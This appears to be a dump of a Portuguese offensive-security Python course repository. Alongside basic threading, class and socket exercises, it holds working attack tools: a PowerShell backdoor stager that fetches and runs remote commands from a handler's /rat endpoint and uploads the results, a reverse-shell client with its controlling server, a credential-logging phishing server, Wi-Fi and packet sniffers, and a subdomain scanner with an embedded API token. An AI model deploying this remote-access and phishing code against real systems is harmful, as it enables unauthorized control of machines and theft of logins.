"thread 2"), 23 | ExampleThread(5, "thread 3")] 24 | 25 | for thread in lista: 26 | q.put(thread) 27 | while not q.empty(): 28 | thread = q.get() 29 | thread.start() 30 | while(thread.status): 31 | pass -------------------------------------------------------------------------------- /modulo 02/Threads/queue_simple.py: -------------------------------------------------------------------------------- 1 | from threading import Thread 2 | import time 3 | import queue 4 | 5 | class ExampleThread(Thread): 6 | def __init__ (self, num, name): 7 | Thread.__init__(self) 8 | self.num = num 9 | self.name = name 10 | self.status = True 11 | 12 | def run(self): 13 | for i in range(3): 14 | time.sleep(0.1) 15 | print(self.name+ " count: " + str(i + self.num)+ "\n") 16 | print(self.name + " concluida!") 17 | self.status = False 18 | 19 | q = queue.Queue() 20 | 21 | lista = [ExampleThread(5, "thread 1"), ExampleThread(5, "thread 2"), 22 | ExampleThread(5, "thread 3")] 23 | 24 | for thread in lista: 25 | q.put(thread) 26 | 27 | while not q.empty(): 28 | thread = q.get() 29 | thread.start() 30 | while(thread.status): 31 | pass 32 | -------------------------------------------------------------------------------- /modulo 05/ps_backdoor/payloads/base.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | class BasePayload(object): 5 | _name = "Default" 6 | _code = None 7 | _activated = False 8 | _conf = None 9 | _stager_path = "" 10 | 11 | def setHandler(self, IP, PORT): 12 | d = dict() 13 | d['SERVER'] = IP 14 | d['PORT'] = PORT 15 | self.setCode(d) 16 | 17 | def setActivated(self, status): 18 | self._activated = status 19 | 20 | def getActivated(self): 21 | return self._activated 22 | 23 | def readStager(self): 24 | with open(self._stager_path, 'r') as my_stage: 25 | return my_stage.read() 26 | 27 | def setCode(self, d=dict): 28 | self._code = self.readStager() 29 | self._code = self._code.format(**d) 30 | 31 | def getCode(self): 32 | return self._code -------------------------------------------------------------------------------- /modulo 05/ps_backdoor/stagers/basic.ps1: -------------------------------------------------------------------------------- 1 | function getUser() {{ 2 | $string = ([System.Security.Principal.WindowsIdentity]::GetCurrent().Name) | Out-String 3 | $string = $string.Trim() 4 | return $string 5 | }} 6 | function getComputerName() {{ 7 | $string = (Get-WmiObject Win32_OperatingSystem).CSName | Out-String 8 | $string = $string.Trim() 9 | return $string 10 | }} 11 | $resp = "http://{SERVER}:{PORT}/rat" 12 | $w = New-Object Net.WebClient 13 | while($true) 14 | {{ 15 | [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}} 16 | $r_get = $w.DownloadString($resp) 17 | $d = [System.Convert]::FromBase64String($r_get); 18 | $Ds = [System.Text.Encoding]::UTF8.GetString($d); 19 | while($r_get) {{ 20 | $output = invoke-expression $Ds | out-string 21 | $w.UploadString($resp, $output) 22 | break 23 | }} 24 | }} -------------------------------------------------------------------------------- /modulo 05/sniffer_tools/config/config.py: -------------------------------------------------------------------------------- 1 | from configobj import ConfigObj 2 | 3 | 4 | class Settings(object): 5 | def __init__(self): 6 | self.conf = ConfigObj('config/config.ini') 7 | 8 | 9 | def getValue(self, key): 10 | try: 11 | return self.conf[key] 12 | except KeyError: 13 | return None 14 | 15 | def setValue(self, key, value): 16 | self.conf[key] = value 17 | self.conf.write() 18 | 19 | def getPluginStatus(self, plugin_name): 20 | try: 21 | return self.conf["plugin"].as_bool(plugin_name) 22 | except KeyError: 23 | return None 24 | 25 | def getAllPlugins(self): 26 | return self.conf['plugin'].keys() 27 | 28 | def setPluginStatus(self, plguin_name, status): 29 | self.conf['plugin'][plguin_name] = status 30 | self.conf.write() -------------------------------------------------------------------------------- /modulo 01/class.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | class Veiculo: 4 | __rodas = 4 5 | __conbustivel = 0 6 | __velocidade = 10 7 | 8 | def __init__(self, teste=40): 9 | print("instanciando a class ") 10 | self.__teste = teste 11 | 12 | @staticmethod 13 | def VerifcarVeiculo(): 14 | print("verifacando veiculo") 15 | 16 | def getTeste(self): 17 | return self.__teste 18 | 19 | def getRodas(self): 20 | return self.__rodas 21 | 22 | def setRodas(self, novo_valor): 23 | self.__rodas = novo_valor 24 | 25 | def getVelocidade(self): 26 | return self.__velocidade 27 | 28 | def mostrarVelocidade(self): 29 | print(self.getVelocidade()) 30 | 31 | def mostrarRodas(self): 32 | print(self.getRodas()) 33 | 34 | Veiculo().VerifcarVeiculo() 35 | carro = Veiculo(50) 36 | carro.setRodas(6) 37 | carro.mostrarVelocidade() 38 | carro.mostrarRodas() 39 | -------------------------------------------------------------------------------- /modulo 02/multiprocess/application/multi_modules.py: -------------------------------------------------------------------------------- 1 | from multiprocessing import Process, Queue, current_process 2 | import time, os 3 | 4 | class ModulesBase(object): 5 | def __init__(self,name): 6 | self.name = name 7 | 8 | def run(self): 9 | print("ProcID: {}".format(os.getpid())) 10 | proc_name = current_process().name 11 | time.sleep(3) 12 | print("Process: {} Process Name: {}".format(proc_name, self.name)) 13 | print("running exploit...") 14 | 15 | def worker(q): 16 | while (not q.empty()): 17 | obj = q.get() 18 | obj.run() 19 | 20 | 21 | if __name__ == '__main__': 22 | queue = Queue() 23 | 24 | 25 | p = Process(target=worker, args=(queue, )) 26 | p.start() 27 | 28 | queue.put(ModulesBase("Modulo base 1")) 29 | queue.put(ModulesBase("Modulo base 2")) 30 | 31 | queue.close() 32 | queue.join_thread() 33 | p.join() -------------------------------------------------------------------------------- /modulo 01/figura.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | class Figura: 4 | 5 | def __int__(self): 6 | self.__color = "" 7 | self.__nome = "" 8 | 9 | def getNome(self): 10 | return self.__nome 11 | 12 | 13 | def setNome(self, nome): 14 | self.__nome = nome 15 | 16 | def Area(self): 17 | pass 18 | 19 | def getCor(self): 20 | return self.__color 21 | 22 | def setCor(self, color): 23 | self.__color = color 24 | 25 | 26 | class Quadrado(Figura): 27 | __lado = 3 28 | 29 | def getLado(self): 30 | return self.__lado 31 | 32 | 33 | 34 | def Area(self): 35 | return self.getLado() * self.getLado() 36 | 37 | 38 | class Circulo(Figura): 39 | __raio = 3 40 | 41 | def getRaio(self): 42 | return self.__raio 43 | 44 | def Area(self): 45 | return self.getRaio() * self.getRaio() * 3.14 46 | 47 | 48 | qua = Quadrado() 49 | qua.setNome("Quadrado") 50 | cir = Circulo() 51 | cir.setNome("Circulo") 52 | 53 | lista_de_figuras = [qua, cir] 54 | 55 | for figura in lista_de_figuras: 56 | print(figura.getNome() + " area: " + str(figura.Area())) -------------------------------------------------------------------------------- /modulo 01/exemplo_herança_multipla.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | class FuncionarioAMD: 5 | 6 | def __init__(self): 7 | self.__salario = 2000 8 | self.__cargo = "Funcionario" 9 | self.__bonus = 400 10 | 11 | def getSalario(self): 12 | return self.__salario + self.getBonus() 13 | 14 | def getBonus(self): 15 | return self.__bonus 16 | 17 | def setBonus(self, bonus): 18 | self.__bonus = bonus 19 | 20 | def setSalario(self, valor): 21 | self.__salario = valor 22 | 23 | class Funcionario: 24 | 25 | def __init__(self): 26 | self.__salario = 2000 27 | self.__cargo = "Funcionario" 28 | 29 | def getSalario(self): 30 | return self.__salario 31 | 32 | def setSalario(self, valor): 33 | self.__salario = valor 34 | 35 | 36 | class Gerente(FuncionarioAMD, Funcionario): 37 | pass 38 | 39 | class Secretaria(Funcionario): 40 | pass 41 | 42 | 43 | class Telefonista(Funcionario): 44 | pass 45 | 46 | 47 | marcos = Gerente() 48 | gabi = Secretaria() 49 | print("Salario de Marcos: " + str(marcos.getSalario())) 50 | print("Salario de Gabi: " + str(gabi.getSalario())) -------------------------------------------------------------------------------- /modulo 02/Threads/simples_thread2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import threading 4 | import time 5 | 6 | class myThread (threading.Thread): 7 | def __init__(self, threadID, name, counter): 8 | threading.Thread.__init__(self) 9 | self.threadID = threadID 10 | self.name = name 11 | self.counter = counter 12 | def run(self): 13 | print ("Starting " + self.name) 14 | # Get lock to synchronize threads 15 | threadLock.acquire() 16 | print_time(self.name, self.counter, 3) 17 | # Free lock to release next thread 18 | threadLock.release() 19 | 20 | def print_time(threadName, delay, counter): 21 | while counter: 22 | time.sleep(delay) 23 | print ("%s: %s" % (threadName, time.ctime(time.time()))) 24 | counter -= 1 25 | 26 | threadLock = threading.Lock() 27 | threads = [] 28 | 29 | 30 | # Create new threads 31 | thread1 = myThread(1, "Thread-1", 1) 32 | thread2 = myThread(2, "Thread-2", 2) 33 | 34 | # Start new Threads 35 | thread1.start() 36 | thread2.start() 37 | 38 | # Add threads to thread list 39 | threads.append(thread1) 40 | threads.append(thread2) 41 | 42 | # Wait for all threads to complete 43 | for t in threads: 44 | t.join() 45 | print ("Exiting Main Thread") -------------------------------------------------------------------------------- /modulo 04/cliente.py: -------------------------------------------------------------------------------- 1 | from socket import AF_INET, socket, SOCK_STREAM 2 | from threading import Thread 3 | from subprocess import PIPE, Popen 4 | from time import sleep 5 | 6 | 7 | 8 | HOST = 'localhost' 9 | PORT = 3000 10 | 11 | BUFSIZE = 1024 12 | ADDR = (HOST, PORT) 13 | 14 | client_socket = socket(AF_INET, SOCK_STREAM) 15 | 16 | 17 | def connect(): 18 | try: 19 | client_socket.connect(ADDR) 20 | print('[*] conectado...') 21 | except Exception as e: 22 | print(e) 23 | return 24 | conexao() 25 | 26 | 27 | def conexao(): 28 | global client_socket 29 | while True: 30 | try: 31 | comando = client_socket.recv(BUFSIZE).decode('utf8') 32 | 33 | proc = Popen(comando, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE) 34 | saida_comando = proc.stdout.read() + proc.stderr.read() 35 | client_socket.send(saida_comando) 36 | except Exception as e: 37 | print(e) 38 | break 39 | 40 | print('servidor descontectado!') 41 | client_socket.close() 42 | client_socket = socket(AF_INET, SOCK_STREAM) 43 | 44 | 45 | def main(): 46 | while True: 47 | print('tentando conectar ao servidor!') 48 | connect() 49 | sleep(2) 50 | 51 | 52 | main() -------------------------------------------------------------------------------- /modulo 05/subdomains_scanner/core/session/base.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | class SessionBaseModel(object): 4 | def __init__(self, url_parser, token, domain, verbose=True): 5 | self.init_session() 6 | self.timeout = 25 7 | self.token = token 8 | self.domain = domain 9 | self.url_parser = url_parser 10 | self.verbose = verbose 11 | 12 | def init_session(self): 13 | self.session = requests.Session() 14 | self.headers = { 15 | 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36', 16 | 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 17 | 'Accept-Language': 'en-US,en;q=0.8', 18 | 'Accept-Encoding': 'gzip'} 19 | 20 | 21 | def send_request(self, data): 22 | url = self.url_parser.format(**data) 23 | try: 24 | resp = self.session.get(url , headers=self.headers, timeout= self.timeout) 25 | except Exception: 26 | resp = None 27 | return self.get_response(resp) 28 | 29 | def get_response(self, response): 30 | if response is None: 31 | return 0 32 | return response.json() 33 | -------------------------------------------------------------------------------- /modulo 05/subdomains_scanner/main.py: -------------------------------------------------------------------------------- 1 | from modules import * 2 | import multiprocessing 3 | from core.runtimes.thread import enumratorBaseThreaded 4 | import argparse 5 | from colorama import Fore, Back, Style 6 | 7 | 8 | def banner(): 9 | return Fore.RED + 'SpyseTools' 10 | 11 | version = "v1.0" 12 | 13 | if (__name__ == "__main__"): 14 | parser = argparse.ArgumentParser(description="SpyseTool - moduled scanner from API Spyse") 15 | parser.add_argument('-t','--token', dest='token', help='set your api_token service', 16 | default='rAaHZ_M_cSF-rq8r2xYHNtok4Y9tZEN9', required=True) 17 | parser.add_argument('-d','--domain', dest='domain', help='set target doamin ', required=True) 18 | parser.add_argument('-v','--version', dest='version', help='show version the tool') 19 | parser_load = parser.parse_args() 20 | 21 | modules = {} 22 | list_modules = enumratorBaseThreaded.__subclasses__() 23 | for m in list_modules: 24 | modules[m.getEngineName()] = m 25 | 26 | subdomains_queue = multiprocessing.Manager().list() 27 | 28 | 29 | domain = parser_load.domain 30 | token = parser_load.token 31 | thread = modules["Spyse"](domain, token, q=subdomains_queue, verbose=True) 32 | thread.start() 33 | thread.join() 34 | print(subdomains_queue) -------------------------------------------------------------------------------- /modulo 02/Threads/thread_pratica.py: -------------------------------------------------------------------------------- 1 | 2 | import threading, time, Queue 3 | class ThreadTarde(threading.Thread): 4 | def __init__(self, queue, max_time): 5 | threading.Thread.__init__(self) 6 | self.count = None 7 | self.max = max_time 8 | self.q = queue 9 | 10 | def run(self): 11 | while (not self.count): 12 | while not self.q.empty(): 13 | self.count = self.q.get() 14 | break 15 | 16 | print("[*] Iniciando Trabalho do segundo turno.") 17 | print("[*] Objetivo: " + str(self.count) + "/"+ str(self.max)) 18 | for i in range(self.count, self.max +1): 19 | time.sleep(3) 20 | print("Thread Tarde: working count: " + str(i)) 21 | print("[*] Trabalho concluido! ") 22 | 23 | class ThreadManha(threading.Thread): 24 | def __init__(self, queue, max_time): 25 | threading.Thread.__init__(self) 26 | self.count = None 27 | self.max = max_time/2 28 | self.q = queue 29 | 30 | def run(self): 31 | self.count = 0 32 | print("[*] Iniciando Trabalho do primeiro turno.") 33 | print("[*] Objetivo: " + str(self.count) + "/"+ str(self.max)) 34 | for i in range(self.count, self.max): 35 | time.sleep(3) 36 | print("Thread Manha: working count: " + str(i)) 37 | self.q.put(self.max) 38 | 39 | q = Queue.Queue() 40 | 41 | thread_1 = ThreadManha(q, 10) 42 | thread_2 = ThreadTarde(q,10) 43 | 44 | thread_1.start() 45 | thread_2.start() 46 | 47 | -------------------------------------------------------------------------------- /modulo 05/phishing/web/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | StealMyLogin.com Demo 5 | 6 | 7 | Login 8 |
9 |
10 | username: 11 |
12 | 13 |
14 | password: 15 |
16 | 17 |
18 | 19 |
20 |
21 |

22 | Test with a dummy username and password. 23 | 24 |

25 | This demo contains a login form on a non-HTTPS page. 26 | Even though the form is being submitted to a secure (HTTPS) page, 27 | your login info can be easily stolen. 28 |

29 | More info at stealmylogin.com 30 |

31 | 32 | 43 | 44 | 45 | -------------------------------------------------------------------------------- /modulo 02/Threads/thread_queue_simples2.py: -------------------------------------------------------------------------------- 1 | import threading, time 2 | import queue as Queue 3 | 4 | class ThreadTarde(threading.Thread): 5 | def __init__(self, queue, max_time): 6 | threading.Thread.__init__(self) 7 | self.count = None 8 | self.max = max_time 9 | self.q = queue 10 | 11 | def run(self): 12 | while (not self.count): 13 | while not self.q.empty(): 14 | self.count = self.q.get() 15 | break 16 | 17 | print("[*] Iniciando Trabalho do segundo turno.") 18 | print("[*] Objetivo: " + str(self.count) + "/"+ str(self.max)) 19 | for i in range(self.count, int(self.max +1)): 20 | time.sleep(3) 21 | print("Thread Tarde: working count: " + str(i)) 22 | print("[*] Trabalho concluido! ") 23 | 24 | class ThreadManha(threading.Thread): 25 | def __init__(self, queue, max_time): 26 | threading.Thread.__init__(self) 27 | self.count = None 28 | self.max = int(max_time/2) 29 | self.q = queue 30 | 31 | def run(self): 32 | self.count = 0 33 | print("[*] Iniciando Trabalho do primeiro turno.") 34 | print("[*] Objetivo: " + str(self.count) + "/"+ str(self.max)) 35 | for i in range(self.count, int(self.max)): 36 | time.sleep(3) 37 | print("Thread Manha: working count: " + str(i)) 38 | self.q.put(self.max) 39 | 40 | q = Queue.Queue() 41 | 42 | thread_1 = ThreadManha(q, 10) 43 | thread_2 = ThreadTarde(q,10) 44 | 45 | thread_1.start() 46 | thread_2.start() 47 | -------------------------------------------------------------------------------- /modulo 05/subdomains_scanner/modules/spyse.py: -------------------------------------------------------------------------------- 1 | from core.runtimes.thread import enumratorBaseThreaded 2 | import threading 3 | from tabulate import tabulate 4 | 5 | 6 | 7 | class Spyse(enumratorBaseThreaded): 8 | url_parser = "https://api.spyse.com/v1/subdomains?api_token={TOKEN}&domain={DOMAIN}&page={PAGEID}" 9 | engine_name = "Spyse" 10 | description = " new search engine for scan subdomains" 11 | type_scanner = "subdomains" 12 | 13 | @staticmethod 14 | def getEngineName(): 15 | return Spyse.engine_name 16 | 17 | 18 | def __init__(self, domain, token, q=None, verbose=True): 19 | self.threads = 70 20 | self.token = token 21 | self.q = q 22 | self.domain = domain 23 | self.lock = threading.BoundedSemaphore(value=self.threads) 24 | super(Spyse, self).__init__(self.url_parser, self.engine_name 25 | ,self.domain, self.token, q=self.q, verbose=verbose) 26 | 27 | 28 | def print_data(self, data): 29 | hearders = ['Subdomains', "IP"] 30 | table = [] 31 | for i in range(0, data["count"]): 32 | if (type(data["records"][i]['ip']) != list): 33 | table.append([data["records"][i]["domain"], data["records"][i]["ip"]["ip"]]) 34 | else: 35 | table.append([data["records"][i]["domain"], "not found"]) 36 | print(tabulate(table, hearders, tablefmt="psql")) 37 | 38 | 39 | def enumarate(self): 40 | self.lock.acquire() 41 | data_content = self.send_request({'TOKEN': self.token, 'DOMAIN': self.domain, 42 | 'PAGEID' : 1}) 43 | print(self.print_data(data_content)) 44 | return data_content 45 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | MANIFEST 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | .pytest_cache/ 49 | 50 | # Translations 51 | *.mo 52 | *.pot 53 | 54 | # Django stuff: 55 | *.log 56 | local_settings.py 57 | db.sqlite3 58 | 59 | # Flask stuff: 60 | instance/ 61 | .webassets-cache 62 | 63 | # Scrapy stuff: 64 | .scrapy 65 | 66 | # Sphinx documentation 67 | docs/_build/ 68 | 69 | # PyBuilder 70 | target/ 71 | 72 | # Jupyter Notebook 73 | .ipynb_checkpoints 74 | 75 | # pyenv 76 | .python-version 77 | 78 | # celery beat schedule file 79 | celerybeat-schedule 80 | 81 | # SageMath parsed files 82 | *.sage.py 83 | 84 | # Environments 85 | .env 86 | .venv 87 | env/ 88 | venv/ 89 | ENV/ 90 | env.bak/ 91 | venv.bak/ 92 | 93 | # Spyder project settings 94 | .spyderproject 95 | .spyproject 96 | 97 | # Rope project settings 98 | .ropeproject 99 | 100 | # mkdocs documentation 101 | /site 102 | 103 | # mypy 104 | .mypy_cache/ 105 | -------------------------------------------------------------------------------- /modulo 04/sockets/chat/servidor.py: -------------------------------------------------------------------------------- 1 | 2 | from socket import AF_INET, socket, SOCK_STREAM 3 | from threading import Thread 4 | 5 | clientes= {} 6 | address = {} 7 | 8 | 9 | HOST = '' 10 | PORT = 3000 11 | BUFSIZE = 1024 12 | ADDR = (HOST, PORT) 13 | 14 | 15 | SERVER = socket(AF_INET, SOCK_STREAM) 16 | SERVER.bind(ADDR) 17 | 18 | def aceitar_clientes(): 19 | while True: 20 | client , client_addr = SERVER.accept() 21 | print("{} : {} foi conetactado com sucesso".format(client_addr[0], client_addr[1])) 22 | client.send(bytes("Seja bem vindo ao chat!!, digite seu nome: ", 'utf8')) 23 | address[client] = client_addr 24 | Thread(target=handler_client, args=(client, )).start() 25 | 26 | 27 | 28 | def handler_client(client): 29 | name = client.recv(BUFSIZE).decode("utf8") 30 | bemvindo = 'Seja bem-vindo {} ao chat!, digite !quit para sair'.format(name) 31 | client.send(bytes(bemvindo, 'utf8')) 32 | 33 | broadcast(bytes("{} acabou de entrar no chat!".format(name), 'utf8')) 34 | clientes[client] = name 35 | 36 | while True: 37 | msg = client.recv(BUFSIZE).decode('utf8') 38 | if not '!quit' in msg: 39 | broadcast(bytes(msg, 'utf8'), name+ ': ') 40 | else: 41 | client.send(bytes('!quit', 'utf8')) 42 | client.close() 43 | del clientes[client] 44 | broadcast(bytes(" O cliente {} saiu do chat!".format(name), 'utf8')) 45 | 46 | 47 | 48 | def broadcast(msg, prefix=""): 49 | for sock in clientes: 50 | sock.send(bytes(prefix, 'utf8') + msg) 51 | 52 | 53 | if __name__ == '__main__': 54 | SERVER.listen(5) 55 | print('esperando clientes') 56 | ACCEPT_THREAD = Thread(target=aceitar_clientes) 57 | ACCEPT_THREAD.start() 58 | ACCEPT_THREAD.join() 59 | SERVER.close() 60 | 61 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Construindo Security Tools Python 2 | 3 | | [
Udemy
by mh4x0f](https://www.udemy.com/course/construindo-security-tools-em-python/) | 4 | | :---: | 5 | 6 | > O melhor curso de Python voltado para segurança ofensiva 7 | 8 | Você provavelmente já ouviu falar sobre a linguagem Python. 9 | 10 | ## Como funciona o curso ? 11 | 12 | O curso é dividido em 5 módulo, sendo que 4 deles são focados para base teórica e pratíca. A base está organizada em video aulas prática, teóricas e material de apoio. 13 | O módulo final ( Módulo 05) é focado no desenvolvimento de ferramentas, onde implementamos do zero várias 5 tools para diferentes tipos de ataques. 14 | 15 | > Porque Python? 16 | 17 | Python é um linguagem dinâmica, interpretada, robusta, multiplataforma e multi-paradigma. Além de já existir muitos cursos bons para python básico, que pode servir como base para fazer o curso. 18 | Um outro motivo é que ferramentas de segurança RedTeam, no geral, são desenvolvida em linguagem "scriptadas" ou interpretradas, que não tenha muita burocracia para ser executadas em diferentes ambientes. 19 | 20 | ## Quais ferramentas de segurança usa python? 21 | Vou listar apenas as conhecidas pq são muitas [lista](https://github.com/enaqx/awesome-pentest): 22 | - [WiFi-Pumpkin](https://github.com/P0cL4bs/WiFi-Pumpkin) :trollface: 23 | - [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec) 24 | - [sqlmap](http://sqlmap.org/) 25 | - [SET](https://github.com/trustedsec/social-engineer-toolkit) 26 | - [ptf](https://github.com/trustedsec/ptf) 27 | - [Responder](https://github.com/SpiderLabs/Responder) 28 | - [pwnagotchi](https://github.com/evilsocket/pwnagotchi) 29 | 30 | E até mesmo o Darlene da Serie [Mr. Robot](http://www.imdb.com/title/tt4158110/) faz suas ferramentas em Python :). 31 | 32 | ## Requisitos 33 | 34 | > O que eu vou precisar pra participar do curso? 35 | 36 | - Conhecimento básico em **Python** 37 | - Conhecimento básico em **Redes** 38 | - Conhecimento básico em **Linux** 39 | -------------------------------------------------------------------------------- /modulo 05/sniffer_tools/core/console.py: -------------------------------------------------------------------------------- 1 | import cmd 2 | import sys 3 | from tabulate import tabulate 4 | from core.sniff import Sniffer 5 | import os 6 | from threading import Thread 7 | 8 | class Console(cmd.Cmd): 9 | def __init__(self, parser): 10 | super(Console, self).__init__() 11 | self.prompt = "[snifferTools]> " 12 | self.sniffer = Sniffer(parser) 13 | 14 | def default(self, line): 15 | os.system(line) 16 | 17 | def do_exit(self, line): 18 | """ comando para sair do sistema """ 19 | sys.exit(0) 20 | 21 | def do_plugins(self, line): 22 | """ mostra todos os plugins disponiveis""" 23 | headers , data = ['Name', 'Status' ] , [] 24 | for plugin in self.sniffer.config.getAllPlugins(): 25 | data.append([plugin , self.sniffer.config.getPluginStatus(plugin)]) 26 | print("Plugins dispinveis:") 27 | print(tabulate(data, headers, tablefmt="grid")) 28 | 29 | def do_set(self, line): 30 | args = line.split() 31 | if (len(args) == 2 and args[0] in self.sniffer.config.getAllPlugins()): 32 | if (args[1].lower() in ("yes", "true", "t" , "1")): 33 | self.sniffer.config.setPluginStatus(args[0], True) 34 | print("[*] {} status : {}".format(args[0],"Ativo")) 35 | else: 36 | self.sniffer.config.setPluginStatus(args[0], False) 37 | print("[*] {} status : {}".format(args[0],"Desativado")) 38 | return 39 | elif (len(args) == 2 and args[0] == "filter"): 40 | self.sniffer.setStringfilter(args[1]) 41 | elif (len(args) == 2 and args[0] == "interface"): 42 | self.sniffer.setInterface(args[1]) 43 | 44 | def do_run(self, line): 45 | """ inicia sniffer de pacotes """ 46 | sniff = Thread(target=self.sniffer.run, args=()) 47 | sniff.deamon = True 48 | sniff.start() 49 | 50 | def do_stop(self, line): 51 | """ para sniffer de pacotes """ 52 | self.sniffer.stop() 53 | 54 | def emptyline(self): 55 | pass -------------------------------------------------------------------------------- /modulo 05/phishing/servers/server.py: -------------------------------------------------------------------------------- 1 | from http.server import SimpleHTTPRequestHandler, HTTPServer 2 | import cgi 3 | 4 | 5 | class ServerHandler(SimpleHTTPRequestHandler): 6 | redirect_Original_website,redirect_Path = None,None 7 | 8 | def do_GET(self): 9 | self.log_message('',"Connected : %s" %(self.address_string())) 10 | if self.path =='/':self.path = self.redirect_Path 11 | if self.path.startswith('/'): self.path = self.redirect_Path + self.path 12 | SimpleHTTPRequestHandler.do_GET(self) 13 | 14 | def log_message(self, format, *args): 15 | return 16 | 17 | def redirect(self, page="/"): 18 | if not page.startswith('http://'): 19 | page = 'http://' + page 20 | self.send_response(301) 21 | self.send_header('Location', page) 22 | self.end_headers() 23 | 24 | def do_POST(self): 25 | redirect = False 26 | form = cgi.FieldStorage( 27 | fp=self.rfile, 28 | headers=self.headers, 29 | environ={'REQUEST_METHOD':'POST', 30 | 'CONTENT_TYPE':self.headers['Content-Type'], 31 | } 32 | ) 33 | if not form.list: return 34 | redirect = True 35 | for item in form.list: 36 | if item.name and item.value: 37 | self.log_message('',item.name+' : '+item.value) 38 | if redirect: 39 | self.redirect(self.redirect_Original_website) 40 | SimpleHTTPRequestHandler.do_GET(self) 41 | 42 | 43 | class HTTPServerPhishing(object): 44 | def __init__(self,Address,PORT,redirect=None,directory=None): 45 | self.Address,self.PORT = Address,PORT 46 | self.Handler = ServerHandler 47 | self.Handler.redirect_Original_website = redirect 48 | self.Handler.redirect_Path = directory 49 | 50 | def Method_GET_LOG(self,format, *args): 51 | print(list(args)[0]) 52 | 53 | def run(self): 54 | self.httpd = None 55 | self.httpd = HTTPServer((self.Address, self.PORT), self.Handler) 56 | self.Handler.log_message = self.Method_GET_LOG 57 | self.httpd.serve_forever() -------------------------------------------------------------------------------- /modulo 05/wireless/main.py: -------------------------------------------------------------------------------- 1 | 2 | from threading import Thread 3 | import queue 4 | from scapy.all import * 5 | import netifaces 6 | from tabulate import tabulate 7 | import random, os, time 8 | from multiprocessing import Process 9 | 10 | 11 | def channel_hopper(): 12 | while True: 13 | try: 14 | channel = random.randrange(1,15) 15 | os.system("iw dev %s set channel %d" % ("wlxc83a35cef744", channel)) 16 | time.sleep(1) 17 | except KeyboardInterrupt: 18 | break 19 | 20 | class sniffer(object): 21 | def __init__(self, options): 22 | self.parser_options = options 23 | self.plugins = {} 24 | self._status = False 25 | self._filter = self.parser_options 26 | self.output = [] 27 | self.headers = ['Channel', 'BSSID', 'SSID'] 28 | 29 | def run(self): 30 | pass 31 | 32 | def checkIface(self, iface): 33 | if (iface in netifaces.interfaces()): 34 | return True 35 | return False 36 | 37 | def getStatus(self): 38 | return self._status 39 | 40 | def setStatus(self, status): 41 | self._status = status 42 | 43 | def getStringFilter(self): 44 | return self._filter 45 | 46 | def setStringFilter(self, value): 47 | self._filter = value 48 | 49 | 50 | def callBackPackets(self, pkt): 51 | if ( pkt.haslayer(Dot11Beacon)): 52 | ssid = pkt[Dot11Elt].info 53 | bssid = pkt[Dot11].addr3 54 | channel = int( ord(pkt[Dot11Elt:3].info)) 55 | #print("{} {} {} {}".format(int(channel), enc, bssid, ssid)) 56 | self.output.append([channel, bssid, ssid]) 57 | os.system("clear") 58 | print(tabulate(self.output, self.headers, tablefmt="simple")) 59 | 60 | 61 | def main(self): 62 | 63 | if not self.checkIface(self.parser_options): 64 | return 65 | 66 | p = Process(target = channel_hopper) 67 | p.start() 68 | 69 | sniff(iface="wlxc83a35cef744",prn =self.callBackPackets) 70 | 71 | teste = sniffer("wlxc83a35cef744") 72 | teste.main() 73 | -------------------------------------------------------------------------------- /modulo 04/server.py: -------------------------------------------------------------------------------- 1 | from socket import AF_INET, socket, SOCK_STREAM 2 | from threading import Thread 3 | from subprocess import PIPE, Popen 4 | from time import sleep 5 | 6 | 7 | 8 | HOST = '' 9 | PORT = 3000 10 | 11 | BUFSIZE = 1024 12 | ADDR = (HOST, PORT) 13 | 14 | SERVER = socket(AF_INET, SOCK_STREAM) 15 | SERVER.bind(ADDR) 16 | SERVER.listen(5) 17 | 18 | 19 | class Servidor(object): 20 | def __init__(self, server): 21 | self.__server = server 22 | self.__clientes = {} 23 | self.__addrress = {} 24 | self.__clientes_ativo = None 25 | 26 | def getClientes(self): 27 | return self.__addrress 28 | 29 | def getClienteAtivo(self): 30 | return self.__clientes_ativo 31 | 32 | def setClienteAtivo(self, client): 33 | self.__clientes_ativo = client 34 | 35 | 36 | def aceitar_clientes(self): 37 | while True: 38 | client , client_addr = SERVER.accept() 39 | self.__addrress[client_addr[0]] = client 40 | print('cliente contactado {}:{}'.format(client_addr[0], client_addr[1])) 41 | Thread(target=self.handler_client, args=(client, )).start() 42 | 43 | 44 | def handler_client(self,client): 45 | while True: 46 | output = client.recv(BUFSIZE).decode('windows-1252').strip() 47 | print(output) 48 | 49 | def controlClientes(self): 50 | while True: 51 | msg = input('> ') 52 | if (msg == 'sair'): 53 | break 54 | 55 | elif (msg == 'list'): 56 | for client in self.getClientes(): 57 | print(client) 58 | elif (msg == 'interact'): 59 | ip = input('Digite o IP do 